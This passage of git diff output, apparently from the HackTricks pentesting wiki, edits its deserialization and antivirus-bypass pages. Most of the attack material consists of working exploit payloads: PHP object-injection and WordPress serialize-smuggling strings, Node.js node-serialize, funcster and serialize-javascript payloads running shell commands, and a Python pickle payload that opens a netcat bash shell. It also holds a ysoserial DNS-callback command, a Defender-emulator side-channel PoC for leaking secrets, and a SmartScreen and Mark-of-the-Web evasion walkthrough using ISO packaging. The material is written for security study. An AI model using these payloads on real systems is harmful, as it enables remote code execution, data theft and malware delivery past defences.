leaks secrets. -Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications. +Minimal PoC concept: -
- -SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). - -**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream]() with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. - -

Checking the Zone.Identifier ADS for a file downloaded from the internet.

- -> [!TIP] -> It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. - -A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes. - -
- -[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. - -Example usage: - -```bash -PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso - -+ o + o + o + o - + o + + o + + - o + + + o + + o --_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o - :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ - for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + --_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' -+ o o + o + o o + o -+ o + o ~ Mariusz Banach / mgeeky o -o ~ + ~ - o + o + + - -[.] Packaging input file to output .iso (iso)... -Burning file onto ISO: - Adding file: /TotallyLegitApp.exe - -[+] Generated file written to (size: 3420160): container.iso +```js +// sample.txt – treated as JS by Defender’s emulator +var mal = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE"; +// Append '!' only if the first byte of secret matches expectation +var c = document.body.innerHTML[0] == 'A' ? '!' : ''; +eval(mal + c); ``` -Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) +If the condition is true, the emulator sees the full EICAR string and deletes/quarantines the file → signal = 1. Otherwise the file survives → signal = 0. Repeating with different predicates reconstructs the secret data (HTML variant shown above; similar tricks apply to JS on disk). -
+Impact: exfiltration of otherwise unreadable secrets via AV behavior. This is a detection evasion concern too (security tooling affecting integrity). See reference for full details and variations. ## ETW @@ -905,5 +872,6 @@ References for PPL and tooling - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../banners/hacktricks-training.md}} From 3db7d5f74f53b8ad24349145d319bb97fa1fb176 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Wed, 3 Sep 2025 12:59:34 +0200 Subject: [PATCH 2/2] Drop unwanted changes in deserialization/README.md and av-bypass.md --- src/pentesting-web/deserialization/README.md | 493 +------------------ src/windows-hardening/av-bypass.md | 56 ++- 2 files changed, 45 insertions(+), 504 deletions(-) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 08b02f21f..03ddc8fc8 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -178,211 +178,6 @@ As soon as the admin viewed the entry, the object was instantiated and `SomeClas --- -# Deserialization - - - -## Basic Information - -**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state. - -**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object. - -Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process. - -## PHP - -In PHP, specific magic methods are utilized during the serialization and deserialization processes: - -- `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks. -- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. -- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`. -- `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections. -- `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object. - -```php -s.'
'; - } - public function __toString() - { - echo '__toString method called'; - } - public function __construct(){ - echo "__construct method called"; - } - public function __destruct(){ - echo "__destruct method called"; - } - public function __wakeup(){ - echo "__wakeup method called"; - } - public function __sleep(){ - echo "__sleep method called"; - return array("s"); #The "s" makes references to the public attribute - } -} - -$o = new test(); -$o->displaystring(); -$ser=serialize($o); -$unser=unserialize($ser); -$unser->displaystring(); -``` - -If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**. - -> [!WARNING] -> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization. -> -> ```php -> class MyClass { -> private $property; -> -> public function __unserialize(array $data): void { -> $this->property = $data['property']; -> // Perform any necessary tasks upon deserialization. -> } -> } -> ``` - -You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) - -### PHP Deserial + Autoload Classes - -You could abuse the PHP autoload functionality to load arbitrary php files and more: - - -{{#ref}} -php-deserialization-+-autoload-classes.md -{{#endref}} - -### Serializing Referenced Values - -If for some reason you want to serialize a value as a **reference to another value serialized** you can: - -```php -param1 =& $o->param22; -$o->param = "PARAM"; -$ser=serialize($o); -``` - -### Preventing PHP Object Injection with `allowed_classes` - -> [!INFO] -> Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated. - -`unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise. Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option: - -```php -// NEVER DO THIS – full object instantiation -$object = unserialize($userControlledData); - -// SAFER – disable object instantiation completely -$object = unserialize($userControlledData, [ - 'allowed_classes' => false // no classes may be created -]); - -// Granular – only allow a strict white-list of models -$object = unserialize($userControlledData, [ - 'allowed_classes' => [MyModel::class, DateTime::class] -]); -``` - -If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE). - -#### Real-world example: Everest Forms (WordPress) CVE-2025-52709 - -The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions: - -```php -function evf_maybe_unserialize($data, $options = array()) { - if (is_serialized($data)) { - if (version_compare(PHP_VERSION, '7.1.0', '>=')) { - // SAFE branch (PHP ≥ 7.1) - $options = wp_parse_args($options, array('allowed_classes' => false)); - return @unserialize(trim($data), $options); - } - // DANGEROUS branch (PHP < 7.1) - return @unserialize(trim($data)); - } - return $data; -} -``` - -On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like: - -``` -O:8:"SomeClass":1:{s:8:"property";s:28:"";} -``` - -As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution. - -**Take-aways** -1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`. -2. Audit defensive wrappers – they often forget about the legacy PHP branches. -3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly. - ---- - -### WordPress behaviours: maybe_unserialize() and object smuggling - -WordPress automatically attempts to unserialize any string that “looks serialized” via `maybe_unserialize()`: - -```php -function maybe_unserialize($original) { - if (is_serialized($original)) - return @unserialize($original); - return $original; -} -``` - -Two practical exploitation patterns from large plugin ecosystems: - -- Serialize-then-replace: mutating serialized blobs using string ops (e.g., `str_replace()`) desynchronizes type/length pairs and allows smuggling of unexpected objects. - -```php -// 1) craft payload -$user = 'orange'; -$pass = ';s:8:"password";O:4:"Evil":0:{}s:8:"realname";s:5:"pwned'; -$name = 'Orange Tsai' . str_repeat('..', 25); -$obj = new User($user, $pass, $name); -$data = serialize($obj); - -// 2) developer mutates serialized blob -$data = str_replace("..", "", $data); - -// 3) length corruption → 'password' becomes Evil object on unserialize -print_r(unserialize($data)); -``` - -- Double-prepare SQLi side-effect: calling `$wpdb->prepare()` twice lets format tokens be reinterpreted (restores SQLi). WordPress mitigates by hiding `%` with placeholders that are later restored; if such placeholders travel inside serialized blobs, restoring them can corrupt lengths and lead to unexpected `unserialize()` with POP gadgets (PHPGGC). - -```php -$value = "%1$%s OR 1=1--#"; -$clause = $wpdb->prepare(" AND value = %s", $value); -$query = $wpdb->prepare("SELECT col FROM table WHERE key = %s $clause", $key); -``` - -### Bypassing `__wakeup()` guards - -- Engine quirk: PHP Bug [#72663](https://bugs.php.net/bug.php?id=72663) shows edge cases where `__wakeup()` can be skipped, breaking defenses that moved checks there. -- Reference-based tricks: gadget chains that set dangerous properties by reference so that a defensive `__wakeup()` that nulls properties does not neutralize the actual data used later in `__destruct()`. - -### "Holy Grail" deserialization: memory-level primitives - -Research progressed from early zval forgery to PHP 7 heap primitives and real UAFs (e.g., Bug [#68942](https://bugs.php.net/bug.php?id=68942)), demonstrating that the core should not be treated as a security boundary: once a serialization bug crosses into memory corruption, object injection can be escalated to RCE without application gadgets. - ### PHPGGC (ysoserial for PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ @@ -477,292 +272,6 @@ test_then() If you want to learn about this technique **take a look to the following tutorial**: -{{#ref}} -nodejs-proto-prototype-pollution/ -{{#endref}} - -### [node-serialize](https://www.npmjs.com/package/node-serialize) - -This library allows to serialise functions. Example: - -```javascript -var y = { - rce: function () { - require("child_process").exec("ls /", function (error, stdout, stderr) { - console.log(stdout) - }) - }, -} -var serialize = require("node-serialize") -var payload_serialized = serialize.serialize(y) -console.log("Serialized: \n" + payload_serialized) -``` - -The **serialised object** will looks like: - -```bash -{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} -``` - -You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object. - -Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. - -![](<../../images/image (351).png>) - -![](<../../images/image (446).png>) - -As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. - -However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ -Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ -In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: - -```javascript -var serialize = require("node-serialize") -var test = { - rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()", -} -serialize.unserialize(test) -``` - -As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: - -```javascript -var serialize = require("node-serialize") -var test = - "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" -serialize.unserialize(test) -``` - -You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. - -### [funcster](https://www.npmjs.com/package/funcster) - -A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used. - -Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet: - -```javascript -funcster = require("funcster") -//Serialization -var test = funcster.serialize(function () { - return "Hello world!" -}) -console.log(test) // { __js_function: 'function(){return"Hello world!"}' } - -//Deserialization with auto-execution -var desertest1 = { __js_function: 'function(){return "Hello world!}()' } -funcster.deepDeserialize(desertest1) -var desertest2 = { - __js_function: 'this.constructor.constructor("console.log(1111)")()', -} -funcster.deepDeserialize(desertest2) -var desertest3 = { - __js_function: - "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()", -} -funcster.deepDeserialize(desertest3) -``` - -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** - -### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) - -The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data: - -```javascript -function deserialize(serializedJavascript) { - return eval("(" + serializedJavascript + ")") -} -``` - -If this function is used to deserialize objects you can **easily exploit it**: - -```javascript -var serialize = require("serialize-javascript") -//Serialization -var test = serialize(function () { - return "Hello world!" -}) -console.log(test) //function() { return "Hello world!" } - -//Deserialization -var test = - "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" -deserialize(test) -``` - -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** - -### Cryo library - -In the following pages you can find information about how to abuse this library to execute arbitrary commands: - -- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) -- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) - -## Java - HTTP - -In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions. - -### Fingerprints - -#### White Box - -To identify potential serialization vulnerabilities in the codebase search for: - -- Classes that implement the `Serializable` interface. -- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions. - -Pay extra attention to: - -- `XMLDecoder` utilized with parameters defined by external users. -- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues. -- `ObjectInputStream` coupled with the `readObject` method. -- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`. -- `ObjectInputStream.readUnshared`. -- General use of `Serializable`. - -#### Black Box - -For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`): - -- Hexadecimal pattern: `AC ED 00 05`. -- Base64 pattern: `rO0`. -- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`. -- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`. -- Base64 pattern indicating prior compression: `H4sIA`. -- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). - -``` -javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s -``` - -### Check if vulnerable - -If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). - -#### White Box Test - -You can check if there is installed any application with known vulnerabilities. - -```bash -find . -iname "*commons*collection*" -grep -R InvokeTransformer . -``` - -You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ -When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. - -#### Black Box Test - -Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ -[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe is focused on **`ObjectInputStream` deserializations**. - -Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ -[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. - -You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ -[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) - -**Serialization Test** - -Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ -If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. - -### **Exploit** - -#### **ysoserial** - -The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\ -Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ -I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. - -```bash -# PoC to make the application perform a DNS req -java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload -``` - -### **Pickle** - -When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\ -When exploited, server could return an error. - -```python -import pickle, os, base64 -class P(object): - def __reduce__(self): - return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) -print(base64.b64encode(pickle.dumps(P()))) -``` - -Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3. - -For more information about escaping from **pickle jails** check: - - -{{#ref}} -../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ -{{#endref}} - -### Yaml **&** jsonpickle - -The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: - - -{{#ref}} -python-yaml-deserialization.md -{{#endref}} - -### Class Pollution (Python Prototype Pollution) - - -{{#ref}} -../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md -{{#endref}} - -## NodeJS - -### JS Magic Functions - -JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ -If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. - -Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ - -```javascript -// If you can compromise p (returned object) to be a promise -// it will be executed just because it's the return object of an async function: -async function test_resolve() { - const p = new Promise((resolve) => { - console.log("hello") - resolve() - }) - return p -} - -async function test_then() { - const p = new Promise((then) => { - console.log("hello") - return 1 - }) - return p -} - -test_ressolve() -test_then() -//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ -``` - -### `__proto__` and `prototype` pollution - -If you want to learn about this technique **take a look to the following tutorial**: - - {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} @@ -1223,7 +732,6 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect - JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ## .Net @@ -1640,3 +1148,4 @@ Industrialized gadget discovery: - Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 1b0f2dc01..4fefb8dc1 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -356,23 +356,56 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them -## AVOracle – Defender emulation side‑channel (exfiltration) +## SmartScreen & MoTW -Windows Defender will emulate files that “look like JavaScript.” If the emulated evaluation produces the EICAR signature string, the file is deleted/quarantined. By crafting mixed content where attacker-controlled JS reads unknown content and conditionally appends to the EICAR string, the deletion becomes a 1‑bit oracle that leaks secrets. +You may have seen this screen when downloading some executables from the internet and executing them. -Minimal PoC concept: +Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications. -```js -// sample.txt – treated as JS by Defender’s emulator -var mal = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE"; -// Append '!' only if the first byte of secret matches expectation -var c = document.body.innerHTML[0] == 'A' ? '!' : ''; -eval(mal + c); +
+ +SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). + +**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream]() with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. + +

Checking the Zone.Identifier ADS for a file downloaded from the internet.

+ +> [!TIP] +> It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. + +A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes. + +
+ +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. + +Example usage: + +```bash +PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + ++ o + o + o + o + + o + + o + + + o + + + o + + o +-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o + :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ + for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + +-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' ++ o o + o + o o + o ++ o + o ~ Mariusz Banach / mgeeky o +o ~ + ~ + o + o + + + +[.] Packaging input file to output .iso (iso)... +Burning file onto ISO: + Adding file: /TotallyLegitApp.exe + +[+] Generated file written to (size: 3420160): container.iso ``` -If the condition is true, the emulator sees the full EICAR string and deletes/quarantines the file → signal = 1. Otherwise the file survives → signal = 0. Repeating with different predicates reconstructs the secret data (HTML variant shown above; similar tricks apply to JS on disk). +Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) -Impact: exfiltration of otherwise unreadable secrets via AV behavior. This is a detection evasion concern too (security tooling affecting integrity). See reference for full details and variations. +
## ETW @@ -872,6 +905,5 @@ References for PPL and tooling - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../banners/hacktricks-training.md}}